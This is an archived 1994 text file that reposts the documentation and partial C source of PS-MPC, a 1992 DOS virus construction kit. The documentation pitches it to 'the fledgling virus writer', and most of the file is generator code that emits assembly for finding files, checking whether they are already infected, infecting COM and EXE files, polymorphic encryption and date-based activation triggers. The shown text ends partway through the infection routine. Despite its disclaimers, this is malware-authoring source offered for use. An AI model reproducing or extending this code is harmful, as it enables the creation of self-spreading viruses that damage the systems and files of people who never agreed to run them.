home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / TUC-VG01.ZIP / VIRGEN1.TXT < prev    next >
Text File  |  1994-08-19  |  57KB  |  1,823 lines

  1.      This text file contains the description,Directions,and actual Code
  2.    For the PS-MPC Viral code generator.
  3.      I am releaseing this file in order to advance the knowledge of 
  4.    People who are interested in how Viruses are produced.This is for
  5.    Informational purposes only and any other use thereof is the users
  6.    Headache,Not mine.I accept no responsibility whatever.
  7.  
  8.           <-><-><-> Keeper of Souls  (TUC) <-><-><->
  9.  
  10.  
  11.  
  12.  
  13.  
  14.                                     PS-MPC
  15.                Phalcon/Skism Mass-Produced Code Generator 0.90ß
  16.                              Created by Dark Angel <------ Credit Given
  17.                                                           Where credit Due
  18.  
  19.  
  20.  
  21.  
  22.   TABLE OF CONTENTS
  23.   
  24.   TABLE OF CONTENTS                                          i
  25.   PURPOSE                                                   ii
  26.   WHAT IS THE PS-MPC?                                        1
  27.   USING THE PS-MPC                                           1
  28.   NO ACTIVATION ROUTINES                                     1
  29.   WHY NO IDE                                                 2
  30.   SOURCE CODE AVAILABILITY                                   2
  31.   PROBLEMS                                                   2
  32.   FUTURE ENHANCEMENTS                                        2
  33.   HISTORY OF VIRUS TOOLKITS                                  A
  34.   
  35.   
  36.        The code  produced by  the Phalcon/Skism  Mass-Produced Code Generator
  37.   is not  designed to be damaging; however, the author is not responsible for
  38.   incidental damages  caused by  use of  the program.  Further, the author is
  39.   not responsible  for damages caused by changes to the code generated by the
  40.   PS-MPC.   The author does not condone the illegal spread of executable code
  41.   created in part or in whole by the PS-MPC.  All source code and  executable
  42.   files created with the aid of the PS-MPC must be distributed with the reci-
  43.   pient's full knowledge  of the  contents.    Malicious use  of the  code is
  44.   strictly prohibited.
  45.   
  46.   PURPOSE
  47.   
  48.        The Phalcon/Skism  Mass-Produced Code  Generator is  not  designed  to
  49.   create malicious  code; rather,  it is  a learning tool from which a person
  50.   may learn  to write effective viral code.  The code generated by the PS-MPC
  51.   is highly  optimised for  both size  and speed  and is  therefore the  code
  52.   generated can  be used  by the fledgling virus writer as a model for future
  53.   endeavours.
  54. -----------------------------------------------------------------------------  
  55.   
  56.      PS-MPC Documentation            - ii -             Phalcon/Skism 1992
  57.   
  58.   
  59.   
  60.   WHAT IS THE PS-MPC?
  61.   
  62.        The  Phalcon/Skism  Mass-Produced  Code  Generator  is  a  tool  which
  63.   generates viral  code according  to user-designated  specifications.    The
  64.   output is  in Masm/Tasm-compatible  Intel 8086 assembly and it is up to the
  65.   user to  assemble the output into working executable form.  The features of
  66.   the PS-MPC include the following:
  67.   
  68.     o Over  150 encryption  techniques, randomly generated during each run of
  69.       the PS-MPC
  70.     o Compact, commented code, much tighter than VCL
  71.     o COM/EXE infections
  72.     o Two types of traversals
  73.     o Optional infection of Command.Com
  74.     o Critical error handler support
  75.   
  76.   USING THE PS-MPC
  77.   
  78.        The syntax of the PS-MPC is simple:
  79.   
  80.        PS-MPC <file1> <file2> <file3>...
  81.   
  82.        The parameters  given to the PS-MPC are the names of the configuration
  83.   files.  For example, to create two separate viruses using the configuration
  84.   files  FOOBAR1.CFG   and  FOOBAR2.CFG,   simply  type  "PS-MPC  FOOBAR1.CFG
  85.   FOOBAR2.CFG" at the prompt.
  86.   
  87.        The configuration  file is  a text file containing a set of parameters
  88.   which define  the output  of the  PS-MPC.   A  sample  configuration  file,
  89.   SKELETON.CFG is  included  with  the  package.    This  configuration  file
  90.   contains all  the acceptable  parameters that  the PS-MPC  will accept.  It
  91.   also includes  the defaults to each of these parameters.  The configuration
  92.   file is  self-explanatory, so there is no need to go into further detail at
  93.   this time.
  94.   
  95.        When the  Generator has  completed creating  the source  code  file/s,
  96.   simply assemble  the output  file/s  with  your  favorite  assembler/linker
  97.   combination.  A multi-pass assembler is recommended.  Masm is a poor choice
  98.   for an  assembler; try  Tasm.   Masm requires  the code  to  include  extra
  99.   segment overrides which unnecessarily add to the code length.  Masm 6.0 may
  100.   fix these  problems (I'm  not sure  since I  don't have  it).  Tasm, on the
  101.   other hand,  is an  excellent, fast,  multipass assembler  far superior  to
  102.   Masm.
  103.   
  104.   NO ACTIVATION ROUTINES
  105.   
  106.        I have  not included  any activation  routines in  the package  simply
  107.   because I  do not  think  the  power  of  creating  potentially-destructive
  108.   viruses should  be in  the hands  of persons  incapable of  coding a simple
  109.   activation routine  in assembly.   If  you can rip a simple FAT-annihilator
  110.   out of  another trojan,  then I  cannot stop  you from  doing so.  But just
  111.   remember that  the most  memorable viruses  are not  necessarily those that
  112.   cause the  most damage,  but are usually those that have unusual activation
  113.   routines.
  114.   
  115.        Upon finding  activation conditions,  the PS-MPC will generate a short
  116.   stub for  the activation  routine.   This is  located immediately after the
  117.   code for  the restoration of the executable files.  It is identified by the
  118.   label "activate"  and is  followed by a return.  Insert your own activation
  119.   routine between those two lines.
  120.   
  121.      PS-MPC Documentation             - 1 -             Phalcon/Skism 1992
  122.   
  123.   
  124.   
  125.   WHY NO IDE (Integrated Development Environment)
  126.   
  127.        Everyone agrees  that Microsoft  Windows is  for cripples.  Obviously,
  128.   you, the  user of  the PS-MPC, are no cripple, so you need no puny IDE with
  129.   colourful, deluxe  windows to  aid you.  If you are a cripple, go ahead and
  130.   create the  configuration file in your favorite Windows text editor.  Hell,
  131.   port the  code to  the Macintosh  and you  can be  truly crippled (although
  132.   you'll have your pretty windows and icons).
  133.   
  134.   SOURCE CODE AVAILABILITY
  135.   
  136.        This program  is distributed  with full  source code.    Although  the
  137.   source should  be self-explanatory,  I have gone back and commented several
  138.   portions in  order to facilitate understanding.  The program was written in
  139.   Turbo C  2.0 and  compiled in the tiny memory model.  I trust that you will
  140.   not hack  this program and call it your own.  Source code is available only
  141.   because I think it will aid in your understanding of the program.
  142.   
  143.   PROBLEMS
  144.   
  145.        This program  was written  hastily.    The  bulk  of  the  coding  was
  146.   completed in  under two  days.   Features were  added  by  the  process  of
  147.   accretion during  the following  week.   Needless to  say, the  code is now
  148.   extremely unmanageable.  If there is enough interest in the package, I will
  149.   rewrite it  in order  to alleviate  the strain  caused in  maintaining such
  150.   code.  This will help in adding features as the need arises.
  151.  
  152.        There MAY be some bugs in this version since it hasn't been thoroughly
  153.   tested yet.  Report all bugs to me (duh). Be sure to save the configuration
  154.   file of the faulty code so the bug may be reproduced.  Better yet, find the
  155.   problem, fix the C source, and send it to me.  Zowie!
  156.   
  157.   FUTURE ENHANCEMENTS
  158.   
  159.        As you  may have already noticed, this is a pre-1.0 release version of
  160.   the Generator.   There  are several  features which  I wish  to add  before
  161.   version 1.0.   These  include, but  are not  limited to,  resident viruses,
  162.   padded-EXE infections  (shorter routine),  and better  documentation(!).  A
  163.   few surprises  will be  thrown in as well.  I do not plan on increasing the
  164.   size of  the PS-MPC.COM file dramatically, so with every addition will come
  165.   code to  keep the  increase in  file size to a minimum.  I do not intend to
  166.   devote too  much time to the project as I personally don't actually use the
  167.   generator to spew out code for the group.
  168.   
  169.   Note: The  version included with 40Hex-8 is not the latest version.  Due to
  170.   space considerations, we could not include the source code to version 0.91ß
  171.   which is somewhat larger.
  172.   
  173.   
  174.   
  175.   
  176.   
  177.   
  178.  
  179.   
  180.   
  181.   
  182.   
  183.   
  184.   
  185.   
  186.      PS-MPC Documentation             - 2 -             Phalcon/Skism 1992
  187.   
  188.   
  189.   
  190.   HISTORY OF VIRUS TOOLKITS
  191.   
  192.        The first  known virus  toolkit was  called VCS, or Virus Construction
  193.   Set.   This program  generated a  new virus each time it was run.  However,
  194.   there were  no code differences at all between any two viruses generated by
  195.   VCS.   All viruses  generated were  1077 bytes  in length  and all could be
  196.   detected with  the identical  scan string.   The advantage in this approach
  197.   was that  the user  needed absolutely no knowledge of 8086 assembly to take
  198.   advantage of this program.  This program of limited usefulness spawned only
  199.   one well-known variant called Manta.  It is not even worth mentioning here.
  200.   
  201.        The second  virus toolkit  was CrazySoft, Inc.'s Dark Avenger Mutation
  202.   Engine (MtE).   This  magnificent work  of Bulgarian  coding allowed  virus
  203.   authors to  create viruses  with an  almost limitless  number of decryption
  204.   routines.   Although the  author needed  to know how to write 8086 assembly
  205.   code, no  knowledge of  the inner workings of MtE save the entry parameters
  206.   was needed  to use  this toolkit.   It  has since  spawned several viruses,
  207.   including Dedicated, Pogue, Fear, and Groove.
  208.   
  209.        The next  virus toolkit  to be released was VCL, or Virus Construction
  210.   Laboratory.  This was written by NoWhere Man of NuKE.  This toolkit allowed
  211.   the user  many options,  including the creation of parasitic COM infectors,
  212.   spawning EXE infectors, trojan horses and logic bombs.  Since it could only
  213.   handle parasitic  infections of  the COM  file format,  it was  of  limited
  214.   usefulness.   Additionally, it  incorporated only  one decryption  formula,
  215.   once again  limiting its usefulness.  Further, the initial release included
  216.   a quirky  installation program  which  failed  to  install  properly  under
  217.   certain conditions.   However,  this  package  contained  a  colourful  IDE
  218.   loosely based  on the Borland interface.  This IDE was incredibly simple to
  219.   use and  even the  average Joe  could understand  how  to  use  it  without
  220.   understanding 80x86  assembly.    Unfortunately,  the  activation  routines
  221.   included with  the package  were of  limited usefulness.    Most  of  these
  222.   involved manipulating the BIOS memory area at segment 40h.
  223.   
  224.   
  225.   
  226.   
  227.   
  228.   
  229.   
  230.   
  231.   
  232.   
  233.   
  234.   
  235.   
  236.   
  237.   
  238.   
  239.   
  240.   
  241.   
  242.   
  243.   
  244.   
  245.   
  246.   
  247.   
  248.   
  249.   
  250.   
  251.      PS-MPC Documentation             - A -             Phalcon/Skism 1992
  252.   
  253. ------------------------------ Source code begins -----------------------------
  254. /* FILE: VHEADER.H */
  255. #ifndef __VHEADER_H
  256. #define __VHEADER_H
  257.  
  258. /* infect */
  259. #define COM     1
  260. #define EXE     2
  261.  
  262. /* traverse */
  263. #define NONE    0
  264. #define DOT_DOT 1
  265.  
  266. typedef struct {
  267.   char always;
  268.   char number;
  269.   char month;
  270.   char day;
  271.   int  year;
  272.   char dow;
  273.   int  monthday;
  274.   char hour;
  275.   char minute;
  276.   char second;
  277.   char percentage;
  278. } activation_conditions;
  279.  
  280. typedef struct {
  281.   unsigned infectCOM   : 1;
  282.   unsigned infectEXE   : 1;
  283.   unsigned traverse    : 1;       /* Currently only two types */
  284.   unsigned encrypt     : 1;
  285.   unsigned int24       : 1;
  286.   unsigned CommandCom  : 1;
  287.   unsigned allowzero   : 1;
  288.   unsigned calls_check : 1;
  289. } parameters;
  290.  
  291. typedef struct {
  292.   char       configfilename[80];
  293.   char       asmfilename[80];
  294.   char       id[3];
  295.   char       virusname[80];
  296.   char       virusnamedelim;
  297.   char       authorname[80];
  298.   char       authornamedelim;
  299.   unsigned   minsize, maxsize;
  300.   char       maxinfect;
  301.   parameters p;
  302.   char       xor_value;
  303.   char       xor_comment[40];
  304.   char       activation;
  305.   activation_conditions activate, plusminus;
  306. } globals;
  307.  
  308. /* prototypes from vmain.c */
  309. void print(char *s, char *t);
  310. void printlabel(char *s, char *t);
  311. void addvar(char *s, char *t, char *u);
  312. void printblank(void);
  313.  
  314. /* prototypes from vheap.c */
  315. void addheap(char *s, char *t, char *u);
  316. void _addheap(char *s);
  317. void resetheap(void);
  318.  
  319. /* code generating prototypes */
  320. void code_header(void);
  321. void code_encryption(void);
  322. void code_setup(void);
  323. void code_traversal(void);
  324. void code_check_activation(void);
  325. void code_return(void);
  326. void code_activate(void);
  327. void code_messages(void);
  328. void code_check(void);
  329. void code_infect(void);
  330. void code_subroutines(void);
  331. void code_variables(void);
  332. void code_heap(void);
  333. void code_tail(void);
  334.  
  335. #ifndef MAIN
  336. extern globals config;
  337. #endif
  338.  
  339. #endif /* __VHEADER_H */
  340. ----------------------------------- Cut Here ----------------------------------
  341. /* FILE: VACTIVE.C */
  342. #include "vheader.h"
  343.  
  344. void code_activate(void)
  345. {
  346.   if (config.activation)
  347.   {
  348.     printlabel("activate:","Conditions satisfied");
  349.     printlabel("; Insert your activation code here","");
  350.     print("jmp  exit_virus","");
  351.     printblank();
  352.   }
  353. }
  354. ----------------------------------- Cut Here ----------------------------------
  355. /* FILE: VCACTIVE.C */
  356. #include "vheader.h"
  357.  
  358. void code_get_date(void);
  359. void code_get_time(void);
  360. void code_jmp(char c);
  361.  
  362. char coded_date, coded_time, Activation;
  363.  
  364. void code_check_activation(void)
  365. {
  366.   char b[80];
  367.  
  368.   coded_date = coded_time = 0;
  369.   Activation = config.activation;
  370.  
  371.   if (config.activate.always)
  372.     printlabel("jmp  activate","Always activate");
  373.   else {
  374.     if (config.activate.month) {
  375.       code_get_date();
  376.       sprintf(b,"cmp  dh,%d",config.activate.month);
  377.       print(b,"Check month");
  378.       code_jmp(config.plusminus.month);
  379.     }
  380.     if (config.activate.day) {
  381.       code_get_date();
  382.       sprintf(b,"cmp  dl,%d",config.activate.day);
  383.       print(b,"Check date");
  384.       code_jmp(config.plusminus.day);
  385.     }
  386.     if (config.activate.year) {
  387.       code_get_date();
  388.       sprintf(b,"cmp  cx,%u",config.activate.year);
  389.       print(b,"Check year");
  390.       code_jmp(config.plusminus.year);
  391.     }
  392.     if (config.activate.dow != 255) {
  393.       code_get_date();
  394.       sprintf(b,"cmp  al,%d",config.activate.dow);
  395.       print(b,"Check date of week");
  396.       code_jmp(config.plusminus.dow);
  397.     }
  398.     if (config.activate.monthday) {
  399.       code_get_date();
  400.       sprintf(b,"cmp  dx,0%xuh",config.activate.monthday);
  401.       print(b,"Check month/date");
  402.       code_jmp(config.plusminus.monthday);
  403.     }
  404.  
  405.     if (coded_date) printblank();
  406.  
  407.     if (config.activate.hour != 255) {
  408.       code_get_time();
  409.       sprintf(b,"cmp  ch,%d",config.activate.hour);
  410.       print(b,"Check the hour");
  411.       code_jmp(config.plusminus.hour);
  412.     }
  413.     if (config.activate.minute != 255) {
  414.       code_get_time();
  415.       sprintf(b,"cmp  cl,%d",config.activate.minute);
  416.       print(b,"Check the minute");
  417.       code_jmp(config.plusminus.minute);
  418.     }
  419.     if (config.activate.second != 255) {
  420.       code_get_time();
  421.       sprintf(b,"cmp  dh,%d",config.activate.second);
  422.       print(b,"Check the seconds");
  423.       code_jmp(config.plusminus.second);
  424.     }
  425.     if (config.activate.percentage) {
  426.       code_get_time();
  427.       sprintf(b,"cmp  dl,%d",config.activate.percentage);
  428.       print(b,"Check the percentage");
  429.       code_jmp(-1);
  430.  
  431.     if (coded_time) printblank();
  432.     }
  433.   }
  434. }
  435.  
  436. void code_jmp(char c)
  437. {
  438.   if (--Activation) {
  439.     if (c == 1)
  440.       print("jb   exit_virus","");
  441.     else if (c == 0)
  442.       print("jnz  exit_virus","");
  443.     else if (c == 255)
  444.       print("ja   exit_virus","");
  445.   } else {
  446.     if (c == 1)
  447.       print("jae  config.activate","");
  448.     else if (c == 0)
  449.       print("jz   config.activate","");
  450.     else if (c == 255)
  451.       print("jbe  config.activate","");
  452.   }
  453. }
  454.  
  455. void code_get_date(void)
  456. {
  457.   if (!coded_date) {
  458.     print("mov  ah,2ah","Get current date");
  459.     print("int  21h","");
  460.     coded_date++;
  461.   }
  462. }
  463.  
  464. void code_get_time(void)
  465. {
  466.   if (!coded_time) {
  467.     print("mov  ah,2ch","Get current time");
  468.     print("int  21h","");
  469.     coded_time++;
  470.   }
  471. }
  472. ----------------------------------- Cut Here ----------------------------------
  473. /* FILE: VCHECK.C */
  474. #include "vheader.h"
  475.  
  476. void checkCOM(void);
  477.  
  478. void code_check(void)
  479. {
  480.   if (config.p.calls_check)
  481.     printlabel("infect_mask:","");
  482.   print("mov  ah,4eh","find first file");
  483.   print("mov  cx,7","any attribute");
  484.   printlabel("findfirstnext:","");
  485.   print("int  21h","DS:DX points to mask");
  486.   if (config.p.calls_check)
  487.     print("jc   exit_infect_mask","No mo files found");
  488.   else
  489.     print("jc   done_infections","No mo files found");
  490.   printblank();
  491.   print("mov  al,0h","Open read only");
  492.   print("call open","");
  493.   printblank();
  494.   print("mov  ah,3fh","Read file to buffer");
  495.   print("lea  dx,[bp+buffer]","@ DS:DX");
  496.   print("mov  cx,1Ah","1Ah bytes");
  497.   print("int  21h","");
  498.   printblank();
  499.   print("mov  ah,3eh","Close file");
  500.   print("int  21h","");
  501.   printblank();
  502.   if (config.p.infectEXE) {
  503.     if (config.p.infectCOM) {
  504.       print("cmp  word ptr [bp+buffer],'ZM'","EXE?");
  505.       print("jz   checkEXE","Why yes, yes it is!");
  506.       checkCOM();
  507.     }
  508.     printlabel("checkEXE: cmp  word ptr [bp+buffer+10h],id","is it already infected?");
  509.     print("jnz  infect_exe","");
  510.   } else
  511.     checkCOM();
  512.   printlabel("find_next:","");
  513.   print("mov  ah,4fh","find next file");
  514.   print("jmp  short findfirstnext","");
  515.   if (config.p.calls_check) {
  516.     printlabel("exit_infect_mask: ret","");
  517.     printblank();
  518.   }
  519. }
  520.  
  521. void checkCOM(void)
  522. {
  523.   char s[80];
  524.  
  525.   printlabel("checkCOM:","");
  526.   if (!config.p.CommandCom)
  527.   {
  528.     print("mov  ax,word ptr [bp+newDTA+35]","Get tail of filename");
  529.     print("cmp  ax,'DN'","Ends in ND? (commaND)");
  530.     print("jz   find_next","");
  531.     printblank();
  532.   }
  533.   print("mov  ax,word ptr [bp+newDTA+1Ah]","Filesize in DTA");
  534.   if (config.minsize)
  535.   {
  536.     if (config.minsize == 1) /* automatic calculation */
  537.       if (config.p.encrypt)
  538.         strcpy(s,"cmp  ax,(heap-decrypt)");
  539.       else
  540.         strcpy(s,"cmp  ax,(heap-startvirus)");
  541.     else  /* if (minsize != 1) */
  542.       sprintf(s,"cmp  ax,%u",config.minsize);
  543.     print(s,"Is it too small?");
  544.     print("jb   find_next","");
  545.     printblank();
  546.   }
  547.   if (config.maxsize)
  548.   {
  549.     if (config.maxsize == 1) /* automatic calculation */
  550.       if (config.p.encrypt)
  551.         strcpy(s,"cmp  ax,65535-(endheap-decrypt)");
  552.       else
  553.         strcpy(s,"cmp  ax,65535-(endheap-startvirus)");
  554.     else
  555.       sprintf(s,"cmp  ax,%u",config.maxsize);
  556.     print(s,"Is it too large?");
  557.     print("ja   find_next","");
  558.     printblank();
  559.   }
  560.  
  561.   print("mov  bx,word ptr [bp+buffer+1]","get jmp location");
  562.   if (config.p.encrypt)
  563.     print("add  bx,heap-decrypt+3","Adjust for virus size");
  564.   else
  565.     print("add  bx,heap-startvirus+3","Adjust for virus size");
  566.   print("cmp  ax,bx","");
  567.   print("je   find_next","already infected");
  568.   print("jmp  infect_com","");
  569. }
  570. ----------------------------------- Cut Here ----------------------------------
  571. /* VENCRYPT.C */
  572. #include <stdlib.h>
  573.  
  574. #include "vheader.h"
  575.  
  576. void code_loop_count(void);
  577. void code_loop_start(void);
  578. void code_decrypt_code(void);
  579.  
  580. char mem_counter;
  581. char mem_registers[4][3] = {
  582.   "bx",
  583.   "bp",
  584.   "si",
  585.   "di"
  586. };
  587.  
  588. char loop_counter;
  589. char loop_registers[7][3] = {
  590.   "ax", "bx", "cx", "dx", "bp", "si", "di"
  591. };
  592.  
  593. char xor_registers[4][2] = {
  594.   { 0x81, 0x37 },
  595.   { 0x81, 0x76 },
  596.   { 0x81, 0x34 },
  597.   { 0x81, 0x35 }
  598. };
  599.  
  600. char add_registers[4][2] = {
  601.     { 0x81, 0x07 }, /* add [bx],xxxx / db 81h, 7h,xxh,xxh    */
  602.     { 0x81, 0x46 }, /* add [bp],xxxx / db 81h,46h,00,xxh,xxh */
  603.     { 0x81, 0x04 },
  604.     { 0x81, 0x05 },
  605. };
  606.  
  607. void code_encryption(void)
  608. {
  609.   if (config.p.encrypt) {
  610.     srand(peek(0,0x46C));
  611.     printlabel("decrypt:","handles encryption and decryption");
  612.     if ((loop_counter = random(10)) > 6)   /* if out of bounds */
  613.       loop_counter = 2;                    /* set it = to cx   */
  614.     while (1) {
  615.       mem_counter = random(4);
  616.       if (strcmp(mem_registers[mem_counter = random(4)],
  617.         loop_registers[loop_counter]))
  618.         break;
  619.     }
  620.     if (random(2)) {
  621.       code_loop_count();
  622.       code_loop_start();
  623.     } else {
  624.       code_loop_start();
  625.       code_loop_count();
  626.     }
  627.     code_decrypt_code();
  628.   }
  629. }
  630.  
  631. void code_loop_count(void)
  632. {
  633.   char b[80];
  634.   sprintf(b,"mov  %s,(offset heap - offset startencrypt)/2",
  635.           loop_registers[loop_counter]);
  636.   print(b,"iterations");
  637. }
  638.  
  639. void code_loop_start(void)
  640. {
  641.   char b[80];
  642.   printlabel("patch_startencrypt:","");
  643.   sprintf(b,"mov  %s,offset startencrypt",
  644.           mem_registers[mem_counter]);
  645.   print(b,"start of decryption");
  646. }
  647.  
  648. void code_decrypt_code(void)
  649. {
  650.     char b[80],c[80];
  651.     printlabel("decrypt_loop:","");
  652.     config.xor_value = 0;
  653.     switch (random(2))
  654.     {
  655.       case 0 : sprintf(b,"db   %s%2.2xh,%2.2xh%s",
  656.                (config.p.infectEXE) ? "2eh," : "", xor_registers[mem_counter][0],
  657.                xor_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
  658.  
  659.                sprintf(c,"xor word ptr %s[%s], xxxx",
  660.                (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
  661.                break;
  662.       case 1 : sprintf(b,"db   %s%2.2xh,%2.2xh%s",
  663.                (config.p.infectEXE) ? "2eh," : "", add_registers[mem_counter][0],
  664.                add_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
  665.  
  666.                sprintf(c,"add word ptr %s[%s], xxxx",
  667.                (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
  668.                config.xor_value = 0x28;
  669.                strcpy(config.xor_comment,"flip between add/sub");
  670.                break;
  671.     }
  672.     print(b,c);
  673.     printlabel("decrypt_value dw 0","initialised at zero for null effect");
  674.     sprintf(c,"inc  %s",mem_registers[mem_counter]);
  675.     print(c,"calculate new decryption location");
  676.     print(c,"");
  677.     if (loop_counter - 2)
  678.     {
  679.       sprintf(b,"dec  %s",loop_registers[loop_counter]);
  680.       print(b,"If we are not done, then");
  681.       print("jnz  decrypt_loop","decrypt mo'");
  682.     } else
  683.       print("loop decrypt_loop","decrypt mo'");
  684.     printlabel("startencrypt:","");
  685. }
  686. ----------------------------------- Cut Here ----------------------------------
  687. /* FILE: VHEADER.C */
  688. #include "vheader.h"
  689.  
  690. void code_header(void)
  691. {
  692.   char b[80];
  693.   sprintf(b,"; %s : %s by %s",config.asmfilename,
  694.          (config.virusname[0]) ? config.virusname : "Unknown",
  695.          (config.authorname[0])? config.authorname: "Unknown");
  696.   printlabel(b,"");
  697.   printlabel("; Created wik the Phalcon/Skism Mass-Produced Code Generator","");
  698.   sprintf(b,"; from the configuration file %s",config.configfilename);
  699.   printlabel(b,"");
  700.   printblank();
  701.   printlabel(".model tiny","Handy directive");
  702.   printlabel(".code","Virus code segment");
  703.   print("org    100h","COM file starting IP\n");
  704.   if (config.p.infectEXE)
  705.   {
  706.     sprintf(b,"id = '%s'",config.id);
  707.     printlabel(b,"ID word for EXE infections");
  708.   }
  709.   if (config.p.infectCOM)
  710.     if (config.p.encrypt)
  711.       printlabel("entry_point: db 0e9h,0,0","jmp decrypt");
  712.     else
  713.       printlabel("entry_point: db 0e9h,0,0","jmp startvirus");
  714.   printblank();
  715. }
  716. ----------------------------------- Cut Here ----------------------------------
  717. /* FILE: VHEAP.C */
  718. #include "vheader.h"
  719.  
  720. char heap[30][80];
  721. char max;
  722.  
  723. void code_heap(void)
  724. {
  725.   printlabel("heap:","Variables not in code");
  726.   if (max)
  727.     while (max--)
  728.       printlabel(heap[max],"");
  729.   else
  730.     printlabel("; No heap to speak of","");
  731.   printlabel("endheap:","End of virus");
  732. }
  733.  
  734. void addheap(char *s, char *t, char *u)
  735. {
  736.   if (*u)
  737.     sprintf(heap[max++],"%-20.20s%-20.20s; %-37.37s",s,t,u);
  738.   else
  739.     sprintf(heap[max++],"%-20.20s%s",s,t);
  740. }
  741.  
  742. void _addheap(char *s)
  743. {
  744.   strcpy(heap[max++],s);
  745. }
  746.  
  747. void resetheap(void)
  748. {
  749.     max=0;
  750. }
  751. ----------------------------------- Cut Here ----------------------------------
  752. /* FILE: VINFECT.C */
  753. #include "vheader.h"
  754.  
  755. void write_encrypt(void);
  756. void code_infect_EXE(void);
  757.  
  758. void code_infect(void)
  759. {
  760.   if (config.p.infectEXE) {
  761.     printlabel("infect_exe:","");
  762.     code_infect_EXE();
  763.     if (config.p.infectCOM)
  764.       print("jmp  short finishinfection","");
  765.   }
  766.   if (config.p.infectCOM) {
  767.     printlabel("infect_com:","ax = filesize");
  768.     print("mov  cx,3","");
  769.     print("sub  ax,cx","");
  770.     print("lea  si,[bp+offset buffer]","");
  771.     print("lea  di,[bp+offset save3]","");
  772.     print("movsw","");
  773.     print("movsb","");
  774.     print("mov  byte ptr [si-3],0e9h","");
  775.     print("mov  word ptr [si-2],ax","");
  776.     if (config.p.encrypt)
  777.     {
  778.       print("add  ax,103h","");
  779.       print("push ax","needed later");
  780.     }
  781.   }
  782.   printlabel("finishinfection:","");
  783.   print("push cx","Save # bytes to write");
  784.   print("xor  cx,cx","Clear attributes");
  785.   print("call attributes","Set file attributes");
  786.   printblank();
  787.   print("mov  al,2","");
  788.   print("call open","");
  789.   printblank();
  790.   print("mov  ah,40h","Write to file");
  791.   print("lea  dx,[bp+buffer]","Write from buffer");
  792.   print("pop  cx","cx bytes");
  793.   print("int  21h","");
  794.   printblank();
  795.   print("mov  ax,4202h","Move file pointer");
  796.   print("xor  cx,cx","to end of file");
  797.   print("cwd","xor dx,dx");
  798.   print("int  21h","");
  799.   printblank();
  800.   if (config.p.encrypt) {
  801.     write_encrypt();
  802.   } else {
  803.     print("mov  ah,40h","Concatenate virus");
  804.     print("lea  dx,[bp+startvirus]","");
  805.     print("mov  cx,heap-startvirus","# bytes to write");
  806.     print("int  21h","");
  807.     printblank();
  808.   }
  809.   print("mov  ax,5701h","Restore creation date/time");
  810.   print("mov  cx,word ptr [bp+newDTA+16h]","time");
  811.   print("mov  dx,word ptr [bp+newDTA+18h]","date");
  812.   print("int  21h","");
  813.   printblank();
  814.   print("mov  ah,3eh","Close file");
  815.   print("int  21h","");
  816.   printblank();
  817.   print("mov ch,0","");
  818.   print("mov cl,byte ptr [bp+newDTA+15h]","Restore original");
  819.   print("call attributes","attributes");
  820.   printblank();
  821.   if (config.maxinfect)
  822.   {
  823.     print("dec  byte ptr [bp+numinfec]","One mo infection");
  824.     print("jnz  mo_infections","Not enough");
  825.     if (config.p.calls_check)
  826.       print("pop  ax","remove call from stack");
  827.     print("jmp  done_infections","");
  828.   }
  829.   printlabel("mo_infections: jmp find_next","");
  830.   printblank();
  831. }
  832.  
  833. void write_encrypt(void)
  834. {
  835.   if (!config.p.allowzero)
  836.     printlabel("get_encrypt_value:","");
  837.   print("mov  ah,2ch","Get current time");
  838.   print("int  21h","dh=sec,dl=1/100 sec");
  839.   if (!config.p.allowzero) {
  840.     print("or  dx,dx","Check if encryption value = 0");
  841.     print("jz  get_encrypt_value","Get another if it is");
  842.   }
  843.   print("mov  [bp+decrypt_value],dx","Set new encryption value");
  844.   addheap("code_store:","db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)","");
  845.  _addheap("; The following code is the buffer for the write function");
  846.   print("lea  di,[bp+code_store]","");
  847.   print("mov  ax,5355h","push bp,push bx");
  848.   print("stosw","");
  849.   print("lea  si,[bp+decrypt]","Copy encryption function");
  850.   print("mov  cx,startencrypt-decrypt","Bytes to move");
  851.   print("push si","Save for later use");
  852.   print("push cx","");
  853.   print("rep  movsb","");
  854.   printblank();
  855.   if (config.xor_value)
  856.   {
  857.     char b[80];
  858.     sprintf(b,"xor  byte ptr [bp+decrypt_loop+%c],0%2.2xh",
  859.            (config.p.infectEXE) ? '2' : '1', config.xor_value);
  860.     print(b,config.xor_comment);
  861.     printblank();
  862.   }
  863.   print("lea    si,[bp+write]","Copy writing function");
  864.   print("mov    cx,endwrite-write","Bytes to move");
  865.   print("rep    movsb","");
  866.   print("pop    cx","");
  867.   print("pop    si","");
  868.  
  869.   print("pop    dx","Entry point of virus");
  870.  
  871.   print("push   di","");
  872.   print("push   si","");
  873.   print("push   cx","");
  874.   print("rep    movsb","Copy decryption function");
  875.   print("mov    ax,5b5dh","pop bx,pop bp");
  876.   print("stosw","");
  877.   print("mov    al,0c3h","retn");
  878.   print("stosb","");
  879.   printblank();
  880.   print("add    dx,offset startencrypt - offset decrypt","Calculate new");
  881.   print("mov    word ptr [bp+patch_startencrypt+1],dx","starting offset of");
  882.   print("call   code_store","decryption");
  883.   print("pop    cx","");
  884.   print("pop    di","");
  885.   print("pop    si","");
  886.   print("rep    movsb","Restore decryption function");
  887.   printblank();
  888. }
  889.  
  890. void code_infect_EXE(void)
  891. {
  892.   print("les  ax, dword ptr [bp+buffer+14h]","Save old entry point");
  893.   print("mov  word ptr [bp+jmpsave2], ax","");
  894.   print("mov  word ptr [bp+jmpsave2+2], es","");
  895.   printblank();
  896.   print("les  ax, dword ptr [bp+buffer+0Eh]","Save old stack");
  897.   print("mov  word ptr [bp+stacksave2], es","");
  898.   print("mov  word ptr [bp+stacksave2+2], ax","");
  899.   printblank();
  900.   print("mov  ax, word ptr [bp+buffer + 8]","Get header size");
  901.   print("mov  cl, 4","convert to bytes");
  902.   print("shl  ax, cl","");
  903.   print("xchg ax, bx","");
  904.   printblank();
  905.   print("les  ax, [bp+offset newDTA+26]","Get file size");
  906.   print("mov  dx, es","to DX:AX");
  907.   print("push ax","");
  908.   print("push dx","");
  909.   printblank();
  910.   print("sub  ax, bx","Subtract header size from");
  911.   print("sbb  dx, 0","file size");
  912.   printblank();
  913.   print("mov  cx, 10h","Convert to segment:offset");
  914.   print("div  cx","form");
  915.   printblank();
